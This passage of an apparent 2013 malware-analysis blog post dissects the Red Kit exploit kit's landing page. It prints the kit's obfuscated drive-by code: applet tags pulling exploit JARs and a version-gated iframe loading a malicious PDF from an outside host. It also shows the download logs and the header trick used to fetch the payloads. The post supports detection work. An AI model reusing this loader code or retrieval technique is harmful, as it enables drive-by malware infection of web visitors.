                var c = ["outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin", "0px", "visibility", "visible"];
                var i = "outline-style:none;border-style:none;padding:0px;margin:0px;visibility:visible;";
                if (!k.isDefined(a)) {
                    a = ""
                }
                if (k.isString(g) && (/[^\s]/).test(g)) {
                    g = g.toLowerCase().replace(/\s/g, "");
                    q = f + g + ' width="' + k.pluginSize + '" height="' + k.pluginSize + '" ';
                    q += 'style="' + i + 'display:inline;" ';
                    for (o = 0; o < b.length; o = o + 2) {
                        if (/[^\s]/.test(b[o + 1])) {
                            q += b[o] + '="' + b[o + 1] + '" '
                        }
                    }
                    q += ">";
                    for (o = 0; o < h.length; o = o + 2) {
                        if (/[^\s]/.test(h[o + 1])) {
                            q += f + 'param name="' + h[o] + '" value="' + h[o + 1] + '" />'
                        }
                    }
                    q += a + f + "/" + g + ">"
                } else {
                    q = a
                }
                if (!k.div) {
                    j = n.getElementById(k.divID);
                    if (j) {
                        k.div = j
                    } else {
                        k.div = n.createElement("div");
                        k.div.id = k.divID
                    }
                    k.setStyle(k.div, c.concat(["width", k.divWidth + "px", "height", (k.pluginSize + 3) + "px", "fontSize", (k.pluginSize + 3) + "px", "lineHeight", (k.pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "block"]));
                    if (!j) {
                        k.setStyle(k.div, ["position", "absolute", "right", "0px", "top", "0px"]);
                        k.insertDivInBody(k.div)
                    }
                }
                if (k.div && k.div.parentNode) {
                    k.setStyle(p, c.concat(["fontSize", (k.pluginSize + 3) + "px", "lineHeight", (k.pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "inline"]));
                    try {
                        p.innerHTML = q
                    } catch (m) {};
                    try {
                        k.div.appendChild(p)
                    } catch (m) {};
                    return {
                        span: p,
                        winLoaded: k.winLoaded,
                        tagName: g,
                        outerHTML: q
                    }
                }
                return {
                    span: null,
                    winLoaded: k.winLoaded,
                    tagName: "",
                    outerHTML: q
                }
            },
            Plugins: {
                adobereader: {
                    mimeType: "application/pdf",
                    navPluginObj: null,
                    progID: ["AcroPDF.PDF", "PDF.PdfCtrl"],
                    classID: "clsid:CA8A9780-280D-11CF-A24D-444553540000",
                    INSTALLED: {},
                    pluginHasMimeType: function (d, c, f) {
                        var b = this,
                            e = b.$,
                            a;
                        for (a in d) {
                            if (d[a] && d[a].type && d[a].type == c) {
                                return 1
                            }
                        }
                        if (e.getMimeEnabledPlugin(c, f)) {
                            return 1
                        }
                        return 0
                    },
                    getVersion: function (l, j) {
                        var g = this,
                            d = g.$,
                            i, f, m, n, b = null,
                            h = null,
                            k = g.mimeType,
                            a, c;
                        if (d.isString(j)) {
                            j = j.replace(/\s/g, "");
                            if (j) {
                                k = j
                            }
                        } else {
                            j = null
                        }
                        if (d.isDefined(g.INSTALLED[k])) {
                            g.installed = g.INSTALLED[k];
                            return
                        }
                        if (!d.isIE) {
                            a = "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";
                            if (g.getVersionDone !== 0) {
                                g.getVersionDone = 0;
                                b = d.getMimeEnabledPlugin(g.mimeType, a);
                                if (!j) {
                                    n = b
                                }
                                if (!b && d.hasMimeType(g.mimeType)) {
                                    b = d.findNavPlugin(a, 0)
                                }
                                if (b) {
                                    g.navPluginObj = b;
                                    h = d.getNum(b.description) || d.getNum(b.name);
                                    h = d.getPluginFileVersion(b, h);
                                    if (!h && d.OS == 1) {
                                        if (g.pluginHasMimeType(b, "application/vnd.adobe.pdfxml", a)) {
                                            h = "9"
                                        } else {
                                            if (g.pluginHasMimeType(b, "application/vnd.adobe.x-mars", a)) {
                                                h = "8"
                                            }
                                        }
                                    }
                                }
                            } else {
                                h = g.version
                            }
                            if (!d.isDefined(n)) {
                                n = d.getMimeEnabledPlugin(k, a)
                            }
                            g.installed = n && h ? 1 : (n ? 0 : (g.navPluginObj ? -0.2 : -1))
                        } else {
                            b = d.getAXO(g.progID[0]) || d.getAXO(g.progID[1]);
                            c = /=\s*([\d\.]+)/g;
                            try {
                                f = (b || d.getDOMobj(d.insertHTML("object", ["classid", g.classID], ["src", ""], "", g))).GetVersions();
                                for (m = 0; m < 5; m++) {
                                    if (c.test(f) && (!h || RegExp.$1 > h)) {
                                        h = RegExp.$1
                                    }
                                }
                            } catch (i) {}
                            g.installed = h ? 1 : (b ? 0 : -1)
                        }
                        if (!g.version) {
                            g.version = d.formatNum(h)
                        }
                        g.INSTALLED[k] = g.installed
                    }
                },
                zz: 0
            }
        };
    </script>
    
    <body>
        <script>
            document.write('<applet archive="hxxp: //fgccnc.org/332.j&#97;r" code="Vlast.class"><param name="elitken" value="l16r3o5uvme2r3o5uvtcwr3o5uvhair3o5uv.ecr3o5uv3hyr3o5uv3vcr3o5uv/gar3o5uvgo2r3o5uvrabr3o5uvoqkr3o5uv.dar3o5uvch3r3o5uvncrr3o5uvchkr3o5uvch9r3o5uvg3tr3o5uvf14r3o5uv/q9r3o5uv/brr3o5uv:rer3o5uvpovr3o5uvtzrr3o5uvtalr3o5uvhlzr3o5uv"></applet>');
            document.write('<applet archive="hxxp: //fgccnc.org/887.j&#97;r" code="Vlast.class"><param name="elitken" value="l80r3o5uvm16r3o5uvtm6r3o5uvhrcr3o5uv.mcr3o5uv1gwr3o5uv4zlr3o5uv/kwr3o5uvgvar3o5uvr1wr3o5uvo2or3o5uv.56r3o5uvcidr3o5uvn3yr3o5uvccvr3o5uvcsar3o5uvgm4r3o5uvfpgr3o5uv/tor3o5uv/61r3o5uv:o4r3o5uvpkcr3o5uvt1gr3o5uvt59r3o5uvhhmr3o5uv"></applet>');
        </script>
        <script type="text/javascript">
            var biiz = "s" + "r" + "c";
            var makral = false;


            function tksmke() {
                otrtorol.setAttribute("width", 25);
                otrtorol.setAttribute("height", 22);
                document.body.appendChild(otrtorol);
                otrtorol.setAttribute(biiz, "hxxp: //fgccnc.org/987.pdf");
            }

            function etract(a, b) {
                if ((a == 8 && b < 4) || (a == 9 && b < 4)) makral = true;
            }

            var otrtorol = document.createElement("ifra" + "me");

            dtYWu.initScript();


            function ygutiy(lite, arwtawt) {
                if (arwtawt) {
                    arwtawt = arwtawt.split(',');
                    etract(arwtawt[0], arwtawt[1]);
                }
            }

            ygutiy(1, dtYWu.getVersion("AdobeReader"));
            while (makral) {
                tksmke();
                makral = false;
            }
        </script>
    </body>

</html>

The most interesting are the links to the exploit files

document.write('&lt;applet archive="hxxp: //fgccnc.org/332.j&amp;#97;r" code="Vlast.class"&gt;&lt;param name="elitken" value="l16r3o5uvme2r3o5uvtcwr3o5uvhair3o5uv.ecr3o5uv3hyr3o5uv3vcr3o5uv/gar3o5uvgo2r3o5uvrabr3o5uvoqkr3o5uv.dar3o5uvch3r3o5uvncrr3o5uvchkr3o5uvch9r3o5uvg3tr3o5uvf14r3o5uv/q9r3o5uv/brr3o5uv:rer3o5uvpovr3o5uvtzrr3o5uvtalr3o5uvhlzr3o5uv"&gt;&lt;/applet&gt;');

            document.write('&lt;applet archive="hxxp: //fgccnc.org/887.j&amp;#97;r" code="Vlast.class"&gt;&lt;param name="elitken" value="l80r3o5uvm16r3o5uvtm6r3o5uvhrcr3o5uv.mcr3o5uv1gwr3o5uv4zlr3o5uv/kwr3o5uvgvar3o5uvr1wr3o5uvo2or3o5uv.56r3o5uvcidr3o5uvn3yr3o5uvccvr3o5uvcsar3o5uvgm4r3o5uvfpgr3o5uv/tor3o5uv/61r3o5uv:o4r3o5uvpkcr3o5uvt1gr3o5uvt59r3o5uvhhmr3o5uv"&gt;&lt;/applet&gt;');

        &lt;/script&gt;

        &lt;script type="text/javascript"&gt;

            var biiz = "s" + "r" + "c";

            var makral = false;





            function tksmke() {

                otrtorol.setAttribute("width", 25);

                otrtorol.setAttribute("height", 22);

                document.body.appendChild(otrtorol);

                otrtorol.setAttribute(biiz, "hxxp: //fgccnc.org/987.pdf");

            }

2 JAR's and ome PDF: 332.jar, 887.jar and 987.pdf

2. Fetch the exploit files, -NOT

--2013-03-10 19:57:03--  hxxp: //fgccnc.org/332.jar
Resolving fgccnc.org... 50.22.90.99
Connecting to fgccnc.org|50.22.90.99|:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 404 Not Found
  Date: Sun, 10 Mar 2013 18:57:57 GMT
  Server: Apache
  Content-Length: 0
  Keep-Alive: timeout=5, max=75
  Connection: Keep-Alive
  Content-Type: text/html
2013-03-10 19:57:05 ERROR 404: Not Found.

--2013-03-10 19:58:32--  hxxp: //fgccnc.org/332.jar
Resolving fgccnc.org... 50.22.90.99
Connecting to fgccnc.org|50.22.90.99|:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 404 Not Found
  Date: Sun, 10 Mar 2013 18:59:26 GMT
  Server: Apache
  Content-Length: 0
  Keep-Alive: timeout=5, max=75
  Connection: Keep-Alive
  Content-Type: text/html
2013-03-10 19:58:34 ERROR 404: Not Found.

--2013-03-10 19:58:53--  hxxp: //fgccnc.org/332.jar
Resolving fgccnc.org... 50.22.90.99
Connecting to fgccnc.org|50.22.90.99|:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 404 Not Found
  Date: Sun, 10 Mar 2013 18:59:47 GMT
  Server: Apache
  Content-Length: 0
  Keep-Alive: timeout=5, max=75
  Connection: Keep-Alive
  Content-Type: text/html
2013-03-10 19:58:56 ERROR 404: Not Found.

Nope! 404's all over my screen. Not so easy to pick these low hanging fruit after all...
Fortunately my GOOGLE fu is with me and I found a great hint over @ day by day blog

3. Header FU

Add these headers to the request:

content-type: application/x-java-archive
Accept: text/html, image/gif, *; q=.2, */*; q=.2

That would have taken me ages to figure out, but now I'm happy

4. Fetch the exploit files - for real

--2013-03-10 20:02:13--  hxxp: //fgccnc.org/332.jar
Resolving fgccnc.org... 50.22.90.99
Connecting to fgccnc.org|50.22.90.99|:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Sun, 10 Mar 2013 19:03:08 GMT
  Server: Apache
  Content-Disposition: inline; filename=e55de572.jar
  Content-Length: 13798
  Keep-Alive: timeout=5, max=75
  Connection: Keep-Alive
  Content-Type: application/java-archive
Length: 13798 (13K) [application/java-archive]
Saving to: `332.jar'

     0K .......... ...                                        100% 2.65M=0.005s

2013-03-10 20:02:15 (2.65 MB/s) - `332.jar' saved [13798/13798]

--2013-03-10 20:03:30--  hxxp: //fgccnc.org/887.jar
Resolving fgccnc.org... 50.22.90.99
Connecting to fgccnc.org|50.22.90.99|:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Sun, 10 Mar 2013 19:04:25 GMT
  Server: Apache
  Content-Disposition: inline; filename=31d64b95.jar
  Content-Length: 13731
  Keep-Alive: timeout=5, max=75
  Connection: Keep-Alive
  Content-Type: application/java-archive
Length: 13731 (13K) [application/java-archive]
Saving to: `887.jar'

     0K .......... ...                                        100% 4.37M=0.003s

2013-03-10 20:03:32 (4.37 MB/s) - `887.jar' saved [13731/13731]

--2013-03-10 20:04:26--  hxxp: //fgccnc.org/987.pdf
Resolving fgccnc.org... 50.22.90.99
Connecting to fgccnc.org|50.22.90.99|:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Sun, 10 Mar 2013 19:05:20 GMT
  Server: Apache
  Content-Disposition: inline; filename=bb43a521.pdf
  Content-Length: 5531
  Keep-Alive: timeout=5, max=75
  Connection: Keep-Alive
  Content-Type: application/pdf
Length: 5531 (5.4K) [application/pdf]
Saving to: `987.pdf'

     0K .....                                                 100%  113M=0s

2013-03-10 20:04:28 (113 MB/s) - `987.pdf' saved [5531/5531]

Excellent. The files are downloaded. Time for a quick analysis:

5. Quick analysis

Lets figure out what the bad guys wanted to send to us and what payload they really wanted to hand over to the poor Maddonna fans.

332.jar
MD5: 913f1d801abd70a483888ea20aad3a73
Virustotal: 5/45 https://www.virustotal.com/en/file/08759205ed8a2030e659e2ee843c56d13fadd18cdb1a5e1a077bd4e8422dd035/analysis/1362953517/
CVE-2012-1723

887.jar
MD5: 60de68f7919603650a50633f82da7c9b
Virustotal: 6/45 https://www.virustotal.com/en/file/912991ab959148febe90297815dd3025507bad10ffebe7555dfddf7708dd6566/analysis/1362953559/

987.pdf
MD5: 67c5a657b54cf4dc9cae74bfb763a285
Virustotal: 2/45 https://www.virustotal.com/en/file/7be4238988221318f2ca6c41419fd452d892d0af62efa9834d55411900ecfbc3/analysis/1362953625/
WepaWet: Malicious http://wepawet.iseclab.org/view.php?hash=67c5a657b54cf4dc9cae74bfb763a285&type=js
CVE-2010-0188

As wepawet is kind enough to give us the URL to the EXE:

6. Fetching the final payload

--2013-03-10 20:08:26--  hxxp: //fgccnc.org/62.html
Resolving fgccnc.org... 50.22.90.99
Connecting to fgccnc.org|50.22.90.99|:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Sun, 10 Mar 2013 19:09:21 GMT
  Server: Apache
  Expires: Mon, 20 Aug 2002 02:00:00 GMT
  Pragma: no-cache
  Cache-Control: no-cache
  Content-Transfer-Encoding: binary
  Content-Disposition: inline; filename=setup.exe
  Content-Length: 32128
  Keep-Alive: timeout=5, max=75
  Connection: Keep-Alive
  Content-Type: application/octet-stream
Length: 32128 (31K) [application/octet-stream]
Saving to: `62.exe'

     0K .......... .......... .......... .                    100% 51.3K=0.6s
2013-03-10 20:08:29 (51.3 KB/s) - `62.exe' saved [32128/32128]

62.exe AKA setup.exe
MD5:5b7c57fb83f0e47821b97fb93f055716
Virustotal: 0/45

Hmmmf; 0/45 @ VT and no MZ first in the file. Need too look more into this...

7. IDS signatures

As a sidestep writing IDS signatures for calls to 332.jar, 887.jar, 987.pdf, 62.html and receiving setup.exe and the URL pattern [a-z][a-z][a-z][a-z]\.html\?.=[0-9][0-9][0-9][0-9][0-9][0-9] should give you better sleep at night if you work with detection and intrusion prevention / detection.

Still some fun left here, but no time today. Hopefully tomorrow...

Update 2013-03-13
Well I just wanted to revisit my .exe file to figure out what was wrong. Since I had not analyzed this properly I thought that there was some XOR scheme or encryption/obfuscation I had owerlooked.

So I started up my remnux box and got:

First densityscout with a low value indicating that this is pretty random bytes. So it is eather some kind of encryption or a rotating XOR. xorsearch told me no single byte xor match eather :(

Then I went back to my log for the fetch and noticed that I had used "Java" as user agent and I remembered that I then will get encrypted .exe files from Red Kit.

Then everything went smoother and here is the quick analysis:
setup.exe
MD5: 06c907401d42dc218f3ca9b83b4d07ce
Virustotal: 28/45

Great post by n3mes1s covering analysis og the PDF as well.
PS: seems like we only need the "Accept: " header for the PDF fetch,

Happy Red KIT EK malware files stealing!

Post publish reading:
Kahu Security - "Digging deeper into redkit"
Malwageddon - "RedKit: Lights! Camera! Action --- Part 2"
malforsec - "Redkit payload decryption"